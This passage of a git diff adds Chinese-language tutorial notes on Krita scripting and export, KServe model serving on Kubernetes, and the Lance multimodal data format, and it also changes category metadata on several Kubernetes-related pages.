+| `Tab` | 画布独占模式（隐藏 UI） |
+| `Space` + 左键拖拽 | 平移画布 |
+| `Shift` + `Space` + 拖拽 | 旋转画布（不改图层内容） |
+| `Ctrl+T` | 自由变换当前层/选区 |
+| `Ctrl+Shift+N` | 新建图层 |
+| `Ctrl+G` | 图层打组 |
+| `Ctrl+E` | 向下合并图层 |
+| `Ctrl+Shift+E` | 合并可见图层 |
+| `Ctrl+Alt+U` | 显示/隐藏选区蚂蚁线 |
+| `Ctrl+Shift+S` | 导出（Export As） |
+
+Krita 几乎所有菜单项都可在 **Settings → Configure Krita → Keyboard Shortcuts** 里改；画师常把「旋转画布」「切换上一笔刷」绑到侧键。
+
+## 实践案例
+
+### 案例 1：用 Python 创建文档与分层结构
+
+在 **Scripter** 中运行（或保存为 `pykrita` 插件），程序化搭建「线稿组 + 上色组」：
+
+```python
+from krita import Krita
+
+krita = Krita.instance()
+krita.setBatchmode(True)  # 批处理：不弹保存/导出对话框
+
+# 创建 2480×3508 A4 @300dpi 文档（RGBA 8-bit，sRGB）
+doc = krita.createDocument(
+    2480, 3508, "comic-page",
+    "RGBA", "U8", "sRGB built-in", 300.0
+)
+krita.setActiveDocument(doc)
+
+root = doc.rootNode()
+
+# 组：Lineart
+lineart_group = doc.createNode("Lineart", "grouplayer")
+# 组：Color
+color_group = doc.createNode("Color", "grouplayer")
+
+# 线稿 paint layer
+sketch = doc.createNode("Pencil", "paintlayer")
+# 平涂层，开启 alpha 继承（仅在有像素处上色）
+flat = doc.createNode("Flat Colors", "paintlayer")
+flat.setAlphaLocked(True)  # 与 GUI 中 Alpha inheritance 同类用途
+
+# 先组装子树，再挂到 root（推荐顺序）
+lineart_group.addChildNode(sketch, None)
+color_group.addChildNode(flat, None)
+root.addChildNode(lineart_group, None)
+root.addChildNode(color_group, lineart_group)
+
+doc.refreshProjection()
+print("Created:", doc.name(), "nodes:", [n.name() for n in root.childNodes()])
+```
+
+**要点**：`createNode(name, type)` 的 `type` 字符串必须小写，如 `paintlayer`、`grouplayer`。子节点先 `addChildNode` 到组，再把组挂到 `rootNode()`。改动画布后调用 `refreshProjection()` 刷新视图。
+
+### 案例 2：批量导出 PNG（命令行 + 脚本）
+
+**无 GUI 转换**（适合 CI / 文件夹批处理，Krita 3.3+ 全平台）：
+
+```bash
+# 单文件：KRA → PNG
+krita painting.kra --export --export-filename painting.png
+
+# PNG → JPEG
+krita sketch.png --export --export-filename sketch.jpg
+
+# 动画：KRA 导出 PNG 序列（文件名模板）
+krita anim.kra --export-sequence --export-filename frame_{sequence}.png
+```
+
+**脚本内静默导出**（跳过 PNG 选项对话框，可设压缩级别）：
+
+```python
+from krita import *
+
+doc = Krita.instance().activeDocument()
+doc.setBatchmode(True)
+
+opts = InfoObject()
+opts.setProperty("compression", 5)       # 0–9
+opts.setProperty("alpha", True)
+opts.setProperty("forceSRGB", True)
+opts.setProperty("interlaced", False)
+
+path = "/tmp/export.png"
+ok = doc.exportImage(path, opts)
+doc.refreshProjection()
+print("exported:", ok, path)
+```
+
+游戏资产管线里常见做法：在 Krita 图层名写导出元数据（如 GDQuest **Batch Exporter** 插件的 `e=png s=50,100`），一键导出多分辨率精灵图。
+
+### 案例 3：Painting API 程序化笔触（Krita 5.2+）
+
+对可绘画的 Node 可直接画几何（需确认 `node.paintAbility()`）：
+
+```python
+from krita import *
+from PyQt5.QtCore import QPoint, QPointF, QRectF
+from PyQt5.QtGui import QPainterPath
+
+doc = Krita.instance().activeDocument()
+layer = doc.activeNode()
+
+if not layer or not layer.paintable():
+    raise RuntimeError("当前层不可绘画")
+
+# 直线
+layer.paintLine(QPoint(0, 0), QPoint(900, 700))
+
+# 矩形与椭圆
+layer.paintRectangle(QRectF(100, 100, 500, 200))
+layer.paintEllipse(QRectF(400, 100, 200, 600))
+
+# 多边形
+pts = [QPointF(20, 20), QPointF(120, 820), QPointF(920, 120)]
+layer.paintPolygon(pts)
+
+# 沿文字轮廓「写字」
+path = QPainterPath()
+font = qApp.font()
+font.setPointSize(48)
+path.addText(QPointF(50, 50), font, "Krita")
+layer.paintPath(path)
+
+doc.refreshProjection()
+```
+
+适合生成纹理、水印、程序化分格辅助线；真实插画仍以数位笔 + 笔刷引擎为主。
+
+### 案例 4：kritarunner 无人值守批处理
+
+GUI 已打开时 **kritarunner 与 Krita 主进程冲突**；简单格式转换优先用 `krita --export`。复杂流水线可写 `pykrita` 模块，用 kritarunner 调用 `__main__`：
+
+```bash
+# 模块放在资源目录 pykrita/my_batch/ 下，含 __init__.py
+kritarunner -s my_batch -f __main__ /path/to/input.kra /path/to/out.png
+```
+
+模块内典型骨架：
+
+```python
+from krita import Krita, InfoObject
+
+def __main__(args):
+    krita = Krita.instance()
+    krita.setBatchmode(True)
+    src, dst = args[0], args[1]
+    doc = krita.openDocument(src)
+    krita.setActiveDocument(doc)
+    doc.setBatchmode(True)
+    opts = InfoObject()
+    opts.setProperty("compression", 6)
+    doc.exportImage(dst, opts)
+    doc.close()
+    return 0
+```
+
+Unix 上 kritarunner 仍可能依赖 X11/Wayland 做字体渲染；Docker/CI 里优先 **`krita file.kra --export --export-filename out.png`**，失败再考虑虚拟 framebuffer。
+
+## 与相近工具对比
+
+| 工具 | 定位 | 与 Krita 的关系 |
+| --- | --- | --- |
+| **[[inkscape]]** | 矢量 SVG | Logo/对话框用 Inkscape，上色纹理用 Krita |
+| **[[gimp]]** | 通用位图修图 | GIMP 插件生态偏摄影；Krita 笔刷与动画更贴绘画 |
+| **[[blender]]** | 3D + Grease Pencil | Krita 出 2D 概念稿与贴图，Blender 做 3D 与合成 |
+| **Clip Studio Paint** | 商业漫画 | 功能重叠，CSP 动画与素材库强；Krita 开源免费 |
+| **Photoshop** | 行业标准 | PSD 可互导；Krita 无 CMYK 印刷完整链，偏数字原画 |
+
+## 适用 vs 不适用场景
+
+**适用**：
+
+- 插画、概念设计、漫画上色、游戏/3D 纹理绘制
+- 需要压感笔刷、混色、图层蒙版非破坏性工作流
+- 2D 逐帧动画、GIF/序列帧导出
+- 开源预算、跨平台、可脚本批处理 `.kra` / PSD
+- 与 [[inkscape]] 线稿 + Krita 上色 + [[blender]] 贴图的开源管线
+
+**不适用**：
+
+- 照片 RAW 批量修图、专业排版印刷（CMYK 链弱于 InDesign/Photoshop）
+- 纯矢量 UI 图标（用 [[inkscape]] 或 Figma）
+- 3D 建模与渲染（用 [[blender]]）
+- 需要 Adobe 全家桶协作的已有企业工作流（可互导 PSD，但插件生态不同）
+
+## 踩过的坑
+
+1. **新建文档色域选错**：网页稿用 sRGB；对接 3D 或合成时考虑线性 RGB，否则高光/shadow 在引擎里「发灰」。  
+2. **忘记 Alpha 继承**：平涂溢出线稿，要么开继承，要么用选区「锁定透明像素」。  
+3. **合并过早**：线稿与上色合并后无法单独改线宽；用组 + 蒙版保留回头路。  
+4. **`.kra` 体积爆炸**：隐藏层仍占空间；File Layer 链外部 8K 图会拖慢保存。  
+5. **PSD 往返丢效果**：部分 PS 专有调整层/智能对象 Krita 只能栅格化导入。  
+6. **动画导出帧率**：时间轴 FPS 与导出视频 FPS 不一致会导致播放速度错；导出前核对 **Render Animation** 对话框。  
+7. **脚本改像素不刷新**：改 node 或 `exportImage` 后记得 `doc.refreshProjection()`，否则画布预览滞后。
+
+## 常见问题
+
+**Q：Krita 适合修照片吗？**  
+A：基础裁剪、色阶、滤镜可以，但批量 RAW、抠图插件生态不如 GIMP/Lightroom。它是**绘画优先**。
+
+**Q：平板压感不工作？**  
+A：检查系统驱动（WinTab / Windows Ink）、Krita **Settings → Configure Krita → Tablet**，尝试切换 API。Linux 上部分数位板需 libwacom 规则。
+
+**Q：文件很大、卡顿？**  
+A：合并可见层、降低分辨率工作、用 **Instant Preview**；动画时间轴可开 **drop-frame** 预览。`.kra` 过大时检查是否嵌入了高分辨率 **File Layer** 或未清理隐藏层。
+
+**Q：脚本在 Scripter 里能跑，kritarunner 报错？**  
+A：Headless 环境可能缺字体/X11；简单格式转换优先用 `krita --export`。复杂脚本用 **batchmode** + 已打开的 GUI 实例，或查 KDE 文档中的 **kritarunner** 说明。
+
+**Q：和 Photoshop 笔刷兼容吗？**  
+A：部分 `.abr` 可导入为图像笔刷；专有 PS 动态笔刷无法 1:1 还原。社区有大量 `.kpp` Krita 预设可下载。
+
+## 学习路径建议
+
+1. **第一天**：熟悉画布导航（缩放、旋转、Wrap）、默认笔刷与橡皮、撤销栈（`Ctrl+Z` / `Ctrl+Shift+Z`）
+2. **第一周**：图层组 + Alpha 继承上色；尝试 Color Smudge 与纹理笔刷；保存 Workspace
+3. **第二周**：矢量层画对话框；Filter Mask 试调整色；Export 多分辨率 PNG
+4. **进阶**：动画工作区做循环 GIF；写 Python 批量导出；配合 [[blender]] / 游戏引擎测贴图
+
+## 学到什么
+
+- **图层思维**：把「线稿 / 平涂 / 光影 / 特效」拆层，比单画布重画便宜一个数量级。  
+- **笔刷是参数集合**：引擎 + 纹理 + 压感曲线 = 风格；预设可分享、可脚本化。  
+- **色彩是管线问题**：同一幅画在 sRGB 屏、线性贴图、印刷 CMYK 里长相不同，新建文档时就要想清楚终点。  
+- **GUI 与脚本双轨**：画师用界面，技术美术用 `krita --export` / PyKrita 接 CI，同一 `.kra` 源文件。  
+- **开源绘画三角**：[[inkscape]] 矢量 + Krita 位图 + [[blender]] 3D，全链路可审计、无订阅。
+
+## 延伸阅读
+
+- 官方功能页：[krita.org/en/features](https://krita.org/en/features/)
+- 用户手册（图层与蒙版）：[docs.krita.org](https://docs.krita.org/en/user_manual/layers_and_masks.html)
+- 命令行导出：[Linux Command Line](https://docs.krita.org/en/reference_manual/linux_command_line.html)
+- Python API 概览：[KDE/krita libkis Mainpage](https://github.com/KDE/krita/blob/master/libs/libkis/Mainpage.dox)
+- 脚本教程：[Krita Scripting School](https://scripting.krita.org/)
+- 相关笔记：[[inkscape]]、[[gimp]]、[[blender]]、[[godot]]（2D 精灵导入）
diff --git a/src/content/docs/projects/kserve.md b/src/content/docs/projects/kserve.md
new file mode 100644
index 000000000..e54a2ebcd
--- /dev/null
+++ b/src/content/docs/projects/kserve.md
@@ -0,0 +1,250 @@
+---
+title: KServe - Kubernetes 原生模型服务
+来源: https://github.com/kserve/kserve
+日期: 2026-06-13
+分类: 机器学习
+子分类: ML 系统
+provenance: pipeline-v3
+---
+
+# KServe - Kubernetes 原生模型服务
+
+## 什么是 KServe？
+
+想象一下，你训练好了一个机器学习模型（比如一个能识别猫和狗的图像分类器），现在想把它"上架"——让任何人都能通过 API 调用它来分类图片。
+
+在 Kubernetes 的世界里，KServe 就是这个"上架平台"。它告诉你模型在哪（比如一个 S3 存储桶），KServe 负责：
+
+- 启动服务容器，加载你的模型
+- 自动扩缩（没人用时自动休眠，人多时自动扩容）
+- 处理请求路由、负载均衡
+- 支持 A/B 测试、金丝雀发布等高级流量策略
+
+KServe 是 **CNCF 孵化项目**，用 Go 编写，支持 PyTorch、TensorFlow、scikit-learn、XGBoost、vLLM 等主流框架。
+
+---
+
+## 核心概念
+
+KServe 的核心自定义资源（CRD）有以下几个：
+
+### 1. InferenceService — 你的"服务名片"
+
+InferenceService 是 KServe 最核心的资源，描述了一个模型服务的完整信息：
+
+- **predictor（预测器）**：加载并服务你的模型
+- **transformer（转换器）**：在请求进入 predictor 之前/之后做数据预处理或后处理
+- **explainer（解释器）**：生成模型预测的可解释性结果（如 SHAP 值）
+
+```
+请求 -> Ingress -> Router -> Transformer（可选）-> Predictor -> Transformer（可选）
+```
+
+### 2. ServingRuntime — 运行环境定义
+
+定义模型在什么环境中运行（用什么镜像、容器资源、推理框架等）。KServe 预置了 sklearn、pytorch、tensorflow 等 runtime。
+
+### 3. InferenceGraph — 多模型编排
+
+把多个 InferenceService 串联成管道，支持 Sequence（顺序执行）、Switch（条件分支）、Ensemble（并行集成）、Splitter（流量分发）。
+
+### 4. 控制平面 vs 数据平面
+
+- **控制平面**：管理 InferenceService 的生命周期（创建、删除、更新）、自动扩缩、流量管理
+- **数据平面**：实际处理推理请求，负责模型加载、请求推理、返回结果
+
+---
+
+## 代码示例一：部署一个 scikit-learn 模型
+
+这是最基础的用法。你有一个训练好的 sklearn 鸢尾花分类模型，存在 Google Cloud Storage 上。
+
+```yaml
+apiVersion: "serving.kserve.io/v1beta1"
+kind: "InferenceService"
+metadata:
+  name: "sklearn-iris"
+  namespace: default
+spec:
+  predictor:
+    model:
+      modelFormat:
+        name: sklearn
+      runtime: kserve-sklearnserver
+      storageUri: "gs://kfserving-examples/models/sklearn/1.0/model"
+      resources:
+        requests:
+          cpu: "100m"
+          memory: "512Mi"
+        limits:
+          cpu: "1"
+          memory: "1Gi"
+```
+
+**逐行解释：**
+
+- `apiVersion: serving.kserve.io/v1beta1` — KServe 的 API 版本
+- `kind: InferenceService` — 声明这是一个推理服务资源
+- `metadata.name` — 服务的名字，会同时作为 Kubernetes 服务名
+- `spec.predictor.model.modelFormat.name` — 告诉 KServe 这是什么格式的模型
+- `storageUri` — 模型文件存放在哪（支持 GCS、S3、HTTP、PVC 等）
+- `resources` — 给容器分配的资源限制，和普通 Kubernetes Pod 一样
+
+应用这个配置：
+
+```bash
+kubectl apply -f sklearn-iris.yaml
+```
+
+然后 KServe 的 **控制平面** 会：
+1. 创建一个 Deployment，里面跑着 sklearn 推理服务器
+2. 创建一个 Kubernetes Service，提供稳定的网络端点
+3. 配置自动扩缩（如果用了 Knative 模式）
+
+查看状态：
+
+```bash
+kubectl get inferenceservice sklearn-iris -o jsonpath='{.status.url}'
+```
+
+发送推理请求：
+
+```bash
+curl -v -d '{"instances": [[5.1, 3.5, 1.4, 0.2]]}' \
+  http://sklearn-iris.default.example.com/v1/models/sklearn-iris:predict
+```
+
+---
+
+## 代码示例二：带数据转换器的多步骤推理管道
+
+实际生产中，原始输入数据往往需要预处理才能给模型用。KServe 允许你在 predictor 前面加一个 Transformer：
+
+```yaml
+apiVersion: "serving.kserve.io/v1beta1"
+kind: "InferenceService"
+metadata:
+  name: "iris-with-transformer"
+  namespace: default
+spec:
+  transformer:
+    containers:
+      - name: transformer
+        image: your-registry/transformer:latest
+        env:
+          - name: MODEL_NAME
+            value: "sklearn-iris-transformer"
+        resources:
+          requests:
+            cpu: "100m"
+            memory: "256Mi"
+  predictor:
+    model:
+      modelFormat:
+        name: sklearn
+      runtime: kserve-sklearnserver
+      storageUri: "gs://kfserving-examples/models/sklearn/1.0/model"
+```
+
+**关键区别：**
+
+- `transformer` 部分定义了一个额外的容器，负责数据预处理
+- 请求进来后，先经过 transformer 处理，再传给 predictor
+- 输出也可以再经过 transformer 做后处理（比如格式化结果）
+
+---
+
+## 代码示例三：InferenceGraph 做多模型编排
+
+现实中的 AI 应用往往需要多个模型协作。比如先检测人脸，再识别情绪：
+
+```yaml
+apiVersion: "serving.kserve.io/v1alpha1"
+kind: "InferenceGraph"
+metadata:
+  name: "face-emotion-pipeline"
+  namespace: default
+spec:
+  nodes:
+    root:
+      routerType: Sequence
+      steps:
+        - serviceName: face-detector
+          name: detect_step
+        - serviceName: emotion-classifier
+          name: classify
+          data: "$response"
+    face-detector:
+      routerType: Sequence
+      steps:
+        - serviceName: face-detector-isvc
+    emotion-classifier:
+      routerType: Sequence
+      steps:
+        - serviceName: emotion-classifier-isvc
+```
+
+**解释：**
+
+- 整个图从 `root` 节点开始
+- `routerType: Sequence` 表示按顺序执行
+- 第一步调用 `face-detector` 检测人脸
+- 第二步把第一步的输出（`data: "$response"`）传给 `emotion-classifier`
+- 这样就把两个独立的 InferenceService 串联成了一个完整的推理流水线
+
+---
+
+## 安装 KServe
+
+最简单的本地开发方式（需要 Docker 和 Kubernetes 集群）：
+
+```bash
+# 用 Kind 创建本地 K8s 集群
+kind create cluster
+
+# 克隆 KServe 仓库
+git clone https://github.com/kserve/kserve.git
+cd kserve
+
+# 安装 KServe（Knative 模式，支持自动扩缩）
+./hack/kserve-install.sh --kserve-version v0.18.0 --type kserve --knative
+```
+
+生产环境推荐使用 Standard Mode（不依赖 Knative）：
+
+```bash
+./hack/kserve-install.sh --kserve-version v0.18.0 --type kserve --standard
+```
+
+---
+
+## 支持的模型格式
+
+| 框架 | modelFormat.name |
+|------|------------------|
+| scikit-learn | sklearn |
+| TensorFlow | tensorflow / keras |
+| PyTorch | pytorch |
+| XGBoost | xgboost |
+| ONNX | onnx |
+| vLLM (LLM) | vllm |
+| Triton | triton |
+| 自定义 | custom |
+
+---
+
+## 关键要点
+
+- KServe 让你用 **声明式 YAML** 部署模型，不用自己写 Dockerfile 和 Kubernetes 部署文件
+- 模型文件可以存在任何地方（S3、GCS、HTTP、PVC），KServe 自动下载加载
+- 支持 serverless 模式（无人用自动缩到零，省资源）
+- InferenceGraph 让你轻松搭建多模型管道
+- 是 CNCF 孵化项目，社区活跃，当前版本 v0.18
+
+---
+
+## 延伸阅读
+
+- [KServe 官方文档](https://kserve.github.io/website/)
+- [InferenceService API 参考](https://kserve.github.io/website/docs/reference/crd-api)
+- [KServe GitHub](https://github.com/kserve/kserve)
diff --git a/src/content/docs/projects/kubebuilder.md b/src/content/docs/projects/kubebuilder.md
index 9001bbb43..8c2e29780 100644
--- a/src/content/docs/projects/kubebuilder.md
+++ b/src/content/docs/projects/kubebuilder.md
@@ -2,7 +2,7 @@
 title: Kubebuilder — 写 K8s Operator 的官方脚手架
 来源: https://github.com/kubernetes-sigs/kubebuilder
 日期: 2026-06-01
-子分类: DevOps 与运维
+子分类: cloud-native
 分类: 基础设施
 难度: 中级
 provenance: pipeline-v3
diff --git a/src/content/docs/projects/kubernetes.md b/src/content/docs/projects/kubernetes.md
index 3e8ccef4f..1b26fc147 100644
--- a/src/content/docs/projects/kubernetes.md
+++ b/src/content/docs/projects/kubernetes.md
@@ -2,7 +2,7 @@
 title: Kubernetes — 容器编排平台
 来源: https://github.com/kubernetes/kubernetes
 日期: 2026-05-29
-子分类: DevOps 与运维
+子分类: cloud-native
 分类: 基础设施
 难度: 中级
 schema_version: legacy-long
@@ -146,11 +146,14 @@ kubectl get svc web   # 拿到外部 IP，浏览器打开就是 nginx 默认页
 - [[borg]] —— Borg — Google 把一万台机器假装成一台
 - [[calico]] —— Calico — 用 BGP 路由把 K8s pod 当成一个个小路由器
 - [[cilium]] —— Cilium — 用 eBPF 把 K8s 网络从 iptables 时代搬出来
+- [[code-server]] —— code-server — 在浏览器里跑完整 VS Code
+- [[coder]] —— Coder — 自托管开发环境平台
 - [[containerd]] —— containerd — Docker 和 Kubernetes 共用的那台容器运行机
 - [[cri-o]] —— CRI-O — 只为 Kubernetes 而生的瘦身版容器运行时
 - [[dns]] —— DNS — 把全球域名解析切成一棵可分布维护的树
 - [[docker-compose]] —— Docker Compose — 一份 YAML 起一整套开发栈
 - [[drone]] —— Drone CI — 容器原生的 YAML 流水线
+- [[eclipse-che]] —— Eclipse Che — Kubernetes 原生云 IDE
 - [[envoy]] —— Envoy — 把网络通信从业务代码里抠出来的代理进程
 - [[etcd]] —— etcd — 分布式键值数据库
 - [[fluent-bit]] —— Fluent Bit — C 写的轻量日志 forwarder，K8s DaemonSet 默认选
diff --git a/src/content/docs/projects/kustomize.md b/src/content/docs/projects/kustomize.md
index 6f1297c6d..d467f8249 100644
--- a/src/content/docs/projects/kustomize.md
+++ b/src/content/docs/projects/kustomize.md
@@ -2,7 +2,7 @@
 title: Kustomize — 不动原 YAML 的 K8s 配置叠加器
 来源: https://github.com/kubernetes-sigs/kustomize
 日期: 2026-05-31
-子分类: DevOps 与运维
+子分类: cloud-native
 分类: 基础设施
 难度: 中级
 schema_version: legacy-long
diff --git a/src/content/docs/projects/lance-format.md b/src/content/docs/projects/lance-format.md
new file mode 100644
index 000000000..ab6feab89
--- /dev/null
+++ b/src/content/docs/projects/lance-format.md
@@ -0,0 +1,265 @@
+---
+title: Lance — 零基础学习笔记
+来源: https://github.com/lancedb/lance
+日期: 2026-06-13
+分类: 数据库
+子分类: 现代数据库
+provenance: pipeline-v3
+---
+
+# Lance — 零基础学习笔记
+
+## 1. 什么是 Lance？用日常语言说清楚
+
+先做一个类比。
+
+想象你在管理一个巨大的"图书馆"，书架上存放的不是普通书，而是各种多媒体数据——图片、视频、音频、文本，以及由 AI 模型生成的"向量"（你可以把它理解成每本书的"摘要指纹"）。
+
+以前，管理这样的图书馆需要好几套系统：
+
+- **Parquet / Iceberg** 擅长管"目录"和"统计"，但找相似图片很慢。
+- **向量数据库** 擅长找相似，但不擅长做统计分析。
+- **对象存储（S3 / GCS）** 可以存文件，但查询效率很低。
+
+**Lance 想做的是把这三件事合到一件事里**——它定义了一套文件格式 + 表格式 + 索引规范，让你把图片、向量、文本全部存进同一个 `.lance` 文件（其实是一个目录），然后用 SQL、向量搜索、全文搜索同时操作这些数据。
+
+Lance 的官方定位是 **"The Open Lakehouse Format for Multimodal AI"**（多模态 AI 的开放湖仓格式）。"湖仓"（Lakehouse）这个词的意思是：既像数据湖一样便宜（存在对象存储上），又像数据仓库一样能做分析查询。
+
+## 2. 为什么要学 Lance？
+
+Lance 在以下场景中特别有用：
+
+1. **AI 搜索**：存图片/文本的向量嵌入，做相似性搜索。
+2. **ML 训练**：大规模训练中需要快速随机读取样本（比 Parquet 快 100 倍）。
+3. **多模态数据管理**：一张表里同时存图片、向量、文本描述，不用拆开管理。
+
+## 3. 核心概念
+
+### 3.1 Lance 文件的"两层结构"
+
+Lance 不只是一个文件格式，而是一整套分层规范：
+
+| 层级 | 类比 | 说明 |
+|------|------|------|
+| **文件格式**（File Format） | 每本书的纸张和排版方式 | 数据在磁盘上如何编码、压缩、排列 |
+| **表格式**（Table Format） | 图书馆的书架和编目系统 | 数据怎么组织成"表"、"片段"、"版本" |
+| **索引格式**（Index Format） | 图书馆的检索卡片 | 向量索引、全文索引、标量索引等 |
+| **目录规范**（Catalog） | 图书馆的注册中心 | 表怎么被注册、发现、管理 |
+
+**通俗理解**：文件格式决定了"数据怎么存"，表格式决定了"数据怎么组织"，索引决定了"数据怎么快速找到"。
+
+### 3.2 碎片（Fragment）
+
+表里的数据不是一整块，而是切成多个"碎片"（Fragment）。每个碎片包含一部分行，可以独立压缩和读取。好处是：
+
+- 添加新列时，只需追加新的数据文件到已有碎片，不用重写整张表。
+- 删除行时，只记录"哪些行被删了"，不实际擦除数据。
+
+### 3.3 版本控制（Zero-Copy Versioning）
+
+Lance 自带版本管理。每次写入都产生一个新版本，旧版本数据不删除。你可以：
+
+- **回退到任意历史版本**（Time Travel）
+- **创建分支和标签**（Tags & Branches）
+- 整个过程不需要额外的基础设施
+
+### 3.4 混合搜索（Hybrid Search）
+
+Lance 允许你在同一个数据集上同时使用三种搜索方式：
+
+1. **向量相似度搜索**：找"相似"的记录。
+2. **全文搜索**（BM25）：找包含"关键词"的记录。
+3. **SQL 过滤**：按条件筛选。
+
+三者可以组合使用，这就是所谓的"混合搜索"。
+
+## 4. 编码策略（Encoding）—— 数据怎么存
+
+这是 Lance 文件格式的底层设计。
+
+Lance 不用 Parquet 的"行组"（Row Group）方式，而是用**"小微型块"（Mini Block）**：
+
+- 数据被切成很多小微型块，每个块独立压缩。
+- 读取时，只需要加载目标块，不需要读取整个文件。
+- 这就是为什么 Lance 的**随机访问比 Parquet 快 100 倍**。
+
+对于大型数据（如向量嵌入），Lance 使用"Full Zip"布局，把多个值打包在一起压缩，减少存储开销。
+
+支持的压缩算法包括：Flat、Bitpacking、FSST、RLE、Byte Stream Split 等，根据数据类型自动选择最优方案。
+
+## 5. 代码示例
+
+### 示例 1：写入和读取数据集
+
+这是 Lance 最基础的用法——写入数据、读取数据、转成 Pandas DataFrame。
+
+```python
+import lance
+import pyarrow as pa
+import pandas as pd
+
+# 1. 准备数据：创建一个 PyArrow Table
+table = pa.Table.from_pylist([
+    {"name": "Alice", "age": 20, "city": "Beijing"},
+    {"name": "Bob",   "age": 30, "city": "Shanghai"},
+    {"name": "Carla", "age": 25, "city": "Guangzhou"},
+])
+
+# 2. 写入 Lance 数据集（本地路径或 S3 路径都可以）
+ds = lance.write_dataset(table, "./my_dataset.lance")
+
+# 3. 读取数据集
+dataset = lance.dataset("./my_dataset.lance")
+
+# 4. 转成 Pandas DataFrame
+df = dataset.to_table().to_pandas()
+print(df)
+#     name  age       city
+# 0  Alice   20    Beijing
+# 1    Bob   30   Shanghai
+# 2  Carla   25  Guangzhou
+```
+
+**关键理解**：
+- `write_dataset()` 会创建一个 `.lance` 目录，里面包含多个 `.lance` 数据文件。
+- `lance.dataset()` 打开数据集，返回一个 `LanceDataset` 对象。
+- 读出来的数据本质上是 PyArrow Table，可以直接转 Pandas。
+
+### 示例 2：向量搜索（创建索引 + 查询）
+
+这是 Lance 最强大的功能——对向量数据建立索引，做相似性搜索。
+
+```python
+import lance
+import numpy as np
+import pyarrow as pa
+from lance.vector import vec_to_table
+
+# 1. 准备向量数据：假设我们有 10 个 5 维向量
+vectors = np.array([
+    [1.0, 0.5, 0.3, 0.1, 0.2],
+    [0.9, 0.6, 0.4, 0.2, 0.3],
+    [0.1, 0.2, 0.8, 0.9, 0.5],
+    [0.2, 0.1, 0.7, 0.8, 0.4],
+    [0.5, 0.9, 0.2, 0.1, 0.3],
+    [0.6, 0.8, 0.3, 0.2, 0.4],
+    [0.3, 0.4, 0.6, 0.7, 0.8],
+    [0.4, 0.3, 0.5, 0.6, 0.9],
+    [0.7, 0.2, 0.1, 0.3, 0.5],
+    [0.8, 0.1, 0.2, 0.4, 0.6],
+], dtype=np.float32)
+
+names = ["a", "b", "c", "d", "e", "f", "g", "h", "i", "j"]
+table = vec_to_table({i: v for i, v in enumerate(vectors)})
+table = table.append_column("name", pa.array(names))
+
+# 2. 写入 Lance 数据集
+ds = lance.write_dataset(table, "./vector_data.lance")
+
+# 3. 创建向量索引（IVF_PQ 是最常用的索引类型）
+ds.create_index(
+    "vector",                    # 要索引的列名
+    index_type="IVF_PQ",         # 索引类型：IVF + 乘积量化
+    num_partitions=2,            # IVF 分区数（类似 K-Means 的聚类数）
+    num_sub_vectors=2,           # PQ 子向量数（向量被分成的片段数）
+)
+
+# 4. 执行向量搜索
+query_vector = np.array([0.5, 0.6, 0.5, 0.5, 0.4], dtype=np.float32)
+results = ds.to_table(
+    nearest={
+        "column": "vector",      # 搜索哪个向量列
+        "q": query_vector,       # 查询向量
+        "k": 3,                  # 找最接近的 3 条
+    }
+)
+
+print(results.to_pandas())
+#   id                                            vector score name
+# 0  5  [0.600, 0.800, 0.300, 0.200, 0.400]  0.090    f
+# 1  1  [0.900, 0.600, 0.400, 0.200, 0.300]  0.170    b
+# 2  0  [1.000, 0.500, 0.300, 0.100, 0.200]  0.250    a
+```
+
+**关键理解**：
+- `vec_to_table()` 把 numpy 向量数组转成 PyArrow 表，方便写入。
+- `create_index()` 创建的是 ANN（近似最近邻）索引，`IVF_PQ` = IVF（向量空间分区）+ PQ（乘积量化，压缩向量）。
+- `to_table(nearest=...)` 执行向量搜索，返回的结果包含 `id`、`vector`、`score`（距离分数）。
+- **没有索引时** Lance 也能搜（暴力扫描），但建索引后速度提升巨大（官方数据：百万向量搜索 <1ms）。
+
+### 示例 3：数据操作（增删改）
+
+Lance 支持对数据集做增删改，而且不重写底层文件：
+
+```python
+import lance
+import pyarrow as pa
+
+dataset = lance.dataset("./my_dataset.lance")
+
+# 插入新行
+new_data = pa.Table.from_pylist([{"name": "David", "age": 35, "city": "Shenzhen"}])
+dataset.insert(new_data)
+
+# 删除行（基于 SQL 条件）
+dataset.delete("name = 'Bob'")
+
+# 更新行（SQL 表达式）
+dataset.update({"age": "age + 1"}, where="name = 'Alice'")
+
+# 批量替换（Merge Insert = Upsert）
+updates = pa.Table.from_pylist([
+    {"name": "Alice", "age": 21, "city": "Beijing"},
+    {"name": "Carla", "age": 26, "city": "Guangzhou"},
+])
+dataset.merge_insert("name") \
+    .when_matched_update_all() \
+    .when_not_matched_insert_all() \
+    .execute(updates)
+```
+
+## 6. Lance 的生态集成
+
+Lance 不要求你只用它的 Python SDK，它可以和主流数据处理工具无缝集成：
+
+| 工具 | 集成方式 |
+|------|----------|
+| **Pandas / Polars** | `dataset.to_table().to_pandas()` |
+| **PyArrow** | 原生返回 PyArrow Table |
+| **DuckDB** | 直接 SQL 查询 `.lance` 文件 |
+| **Apache Spark** | Spark 连接器读写 Lance |
+| **Apache Trino** | Trino 查询 Lance 表 |
+| **PyTorch / TensorFlow** | 作为 ML 训练的数据源 |
+| **S3 / GCS** | 直接存到对象存储，不落地本地 |
+
+## 7. Lance vs Parquet 的对比
+
+| 特性 | Lance | Parquet |
+|------|-------|---------|
+| 随机访问速度 | 100x 更快 | 较慢（需要扫描行组） |
+| 向量搜索 | 原生支持 | 不支持 |
+| 全文搜索 | 原生支持 | 不支持 |
+| 版本控制 | 内置（零拷贝） | 需额外工具（Iceberg/Delta） |
+| 列追加 | 追加文件，不重写 | 需要重写 |
+| 多模态数据 | 原生支持 | 需外部存储 |
+| SQL 分析 | 支持 | 支持（生态更成熟） |
+
+简单说：**如果你只做 SQL 分析，Parquet 够用。如果你要做 AI/ML 相关的数据管理，Lance 更合适。**
+
+## 8. 总结
+
+Lance 的核心价值可以归纳为一句话：
+
+> **一套格式，解决多模态 AI 数据的全生命周期管理——存储、搜索、训练、进化。**
+
+学习路线建议：
+1. 先用 `pip install pylance` 跑通写入/读取。
+2. 尝试向量搜索：建索引 + 查询。
+3. 了解版本控制和分支功能。
+4. 探索与 DuckDB / Spark 的集成。
+
+完整的规格文档见：https://lance.org/format
+
+---
+
+> **下一步想学什么？** 比如"如何用 Lance 构建一个图片搜索系统"，或者"混合搜索（向量 + 全文 + SQL）的具体用法"？
diff --git a/src/content/docs/projects/langchain.md b/src/content/docs/projects/langchain.md
index 142b3d83b..b736fc993 100644
